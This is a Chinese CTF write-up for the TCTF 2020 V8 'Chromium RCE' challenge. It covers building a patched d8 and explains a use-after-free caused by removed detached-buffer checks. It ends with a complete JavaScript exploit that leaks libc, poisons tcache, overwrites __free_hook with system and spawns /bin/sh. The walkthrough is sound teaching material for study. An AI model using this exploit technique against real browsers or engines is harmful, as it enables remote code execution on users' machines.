本文是前段时间tcft2020国际赛Chromium RCE的题解,本题难度较低,比较适合作为V8的入门题练手。
题目说明:
It's v8, but it's not a typical v8, it's CTF v8! Please enjoy pwning this d8 :)
nc pwnable.org 40404
Attachment here
Enviroment: Ubuntu18.04
Update: If you want to build one for debugging, please
git checkout f7a1932ef928c190de32dd78246f75bd4ca8778b
需要个梯子,才能把v8源码拉下来,这里算是个坑。
编辑~/.gitconfig
,ip、端口对应改一下
[http]
proxy = http://10.211.55.2:1087
[https]
proxy = http://10.211.55.2:1087
在~/.zshrc
添加这两条
alias proxy="export ALL_PROXY=http://10.211.55.2:1087"
alias unproxy="unset ALL_PROXY"
这样就可以开始配置v8,先安装depot_tools
git clone https://chromium.googlesource.com/chromium/tools/depot_tools.git
echo 'export PATH=$PATH:"/path/to/depot_tools"' >> ~/.zshrc
安装ninja
git clone https://github.com/ninja-build/ninja.git
cd ninja && ./configure.py --bootstrap && cd ..
echo 'export PATH=$PATH:"/path/to/ninja"' >> ~/.zshrc
编译v8,题目给了hashf7a1932ef928c190de32dd78246f75bd4ca8778b
fetch v8 && cd v8
git checkout f7a1932ef928c190de32dd78246f75bd4ca8778b
gclient sync
#打入patch
git apply 'path/to/tctf.diff'
#配置
tools/dev/v8gen.py x64.debug
#编译
ninja -C out.gn/x64.debug
如果只是想编译d8的话,最后一个命令后面加个d8的参数ninja -C out.gn/x64.debug d8
编译release版本
tools/dev/v8gen.py x64.release
ninja -C out.gn/x64.release
找到/out.gn/x64.debug/d8
就是编译好的v8
为方便gdb调试,在~/.gdbinit
添加
source /path/to/v8/tools/gdbinit
source /path/to/v8/tools/gdb-v8-support.py
分析diff.patch,出题人把--allow-native-syntax
支持删了,这样就把%DebugPrint
和%SystemBreak
砍掉了,没法调试。保留了%ArrayBufferDetach,并且不需要--allow-native-syntax
参数。为了方便调试,对patch文件进行了修改
diff --git a/src/builtins/typed-array-set.tq b/src/builtins/typed-array-set.tq
index b5c9dcb261..babe7da3f0 100644
--- a/src/builtins/typed-array-set.tq
+++ b/src/builtins/typed-array-set.tq
@@ -70,7 +70,7 @@ TypedArrayPrototypeSet(
// 7. Let targetBuffer be target.[[ViewedArrayBuffer]].
// 8. If IsDetachedBuffer(targetBuffer) is true, throw a TypeError
// exception.
- const utarget = typed_array::EnsureAttached(target) otherwise IsDetached;
+ const utarget = %RawDownCast<AttachedJSTypedArray>(target);
const overloadedArg = arguments[0];
try {
@@ -86,8 +86,7 @@ TypedArrayPrototypeSet(
// 10. Let srcBuffer be typedArray.[[ViewedArrayBuffer]].
// 11. If IsDetachedBuffer(srcBuffer) is true, throw a TypeError
// exception.
- const utypedArray =
- typed_array::EnsureAttached(typedArray) otherwise IsDetached;
+ const utypedArray = %RawDownCast<AttachedJSTypedArray>(typedArray);
TypedArrayPrototypeSetTypedArray(
utarget, utypedArray, targetOffset, targetOffsetOverflowed)
diff --git a/src/d8/d8.cc b/src/d8/d8.cc
index 117df1cc52..9c6ca7275d 100644
--- a/src/d8/d8.cc
+++ b/src/d8/d8.cc
@@ -1339,9 +1339,9 @@ MaybeLocal<Context> Shell::CreateRealm(
}
delete[] old_realms;
}
- Local<ObjectTemplate> global_template = CreateGlobalTemplate(isolate);
Local<Context> context =
- Context::New(isolate, nullptr, global_template, global_object);
+ Context::New(isolate, nullptr, ObjectTemplate::New(isolate),
+ v8::MaybeLocal<Value>());
DCHECK(!try_catch.HasCaught());
if (context.IsEmpty()) return MaybeLocal<Context>();
InitializeModuleEmbedderData(context);
@@ -2260,10 +2260,7 @@ void Shell::Initialize(Isolate* isolate, D8Console* console,
v8::Isolate::kMessageLog);
}
- isolate->SetHostImportModuleDynamicallyCallback(
- Shell::HostImportModuleDynamically);
- isolate->SetHostInitializeImportMetaObjectCallback(
- Shell::HostInitializeImportMetaObject);
+ // `import("xx")` is not allowed
#ifdef V8_FUZZILLI
// Let the parent process (Fuzzilli) know we are ready.
@@ -2285,9 +2282,9 @@ Local<Context> Shell::CreateEvaluationContext(Isolate* isolate) {
// This needs to be a critical section since this is not thread-safe
base::MutexGuard lock_guard(context_mutex_.Pointer());
// Initialize the global objects
- Local<ObjectTemplate> global_template = CreateGlobalTemplate(isolate);
EscapableHandleScope handle_scope(isolate);
- Local<Context> context = Context::New(isolate, nullptr, global_template);
+ Local<Context> context = Context::New(isolate, nullptr,
+ ObjectTemplate::New(isolate));
DCHECK(!context.IsEmpty());
if (i::FLAG_perf_prof_annotate_wasm || i::FLAG_vtune_prof_annotate_wasm) {
isolate->SetWasmLoadSourceMapCallback(ReadFile);
给v8打上patch,编译一份debug版本
漏洞点在于:patch删去了对Attached状态的check,都默认为Attached,导致被释放的chunk是可读写的。
像这样可以申请一块glibc的chunk,var chunk0 = new Uint8Array(0x100);
,但这样是通过calloc去分配,没法分配到tcache的堆块
释放以后,链入tcache,%ArrayBufferDetach(chunk0.buffer);
%DebugPrint(chunk0.buffer);
可以打印出chunk信息
var chunk0 = new Uint8Array(0x300); %ArrayBufferDetach(chunk0.buffer); %DebugPrint(chunk0.buffer);
调试方法:
gdb启动d8,设置参数set args --allow-natives-syntax /path/to/js_file
。在js代码需要断下的地方写一条%SystemBreak();
,这样便会触发DebugBreak断下。
构造unsorted bin,leak出libc地址
tcache attack攻击__free_hook
在js中,需要通过以下形式去调用malloc,通过calloc无法分配到tacache bins
function malloc(size){
var chunk = {};
chunk.length = size;
var addr = new Uint8Array(chunk);
return addr;
}
劫持__free_hook
触发system('/bin/sh')
完整exp
function b2i(a){ var b = new BigUint64Array(a.buffer); return b[0]; } function i2l(i){ var b = new Uint8Array(BigUint64Array.from([i]).buffer); return b; } function hex(i){ return '0x'+i.toString(16).padStart(16, '0'); } function malloc(size){ var chunk = {}; chunk.length = size; var addr = new Uint8Array(chunk); return addr; } var chunk0 = new Uint8Array(0x1000); var chunk1 = new Uint8Array(0x1000); var chunk2 = new Uint8Array(0x1000); var chunk3 = new Uint8Array(0x1000); %ArrayBufferDetach(chunk0.buffer); %ArrayBufferDetach(chunk1.buffer); //%DebugPrint(chunk0.buffer); chunk2.set(chunk1); var libc_base = b2i(chunk2.slice(8, 16)) - 0x3ebca0n; var free_hook = libc_base + 0x3ed8e8n var system = libc_base + 0x4f4e0n //remote: 0x4f440n console.log('libc_base: '+hex(libc_base)); //%SystemBreak(); var chunk4 = new Uint8Array(0x300); var chunk5 = new Uint8Array(0x300); %ArrayBufferDetach(chunk4.buffer); %ArrayBufferDetach(chunk5.buffer); chunk5.set(i2l(free_hook)); var chunk6 = malloc(0x300); var chunk7 = malloc(0x300); chunk7.set(i2l(system)); //%SystemBreak(); chunk6[0] = 0x2f; chunk6[1] = 0x62; chunk6[2] = 0x69; chunk6[3] = 0x6e; chunk6[4] = 0x2f; chunk6[5] = 0x73; chunk6[6] = 0x68; chunk6[7] = 0x00; %ArrayBufferDetach(chunk6.buffer);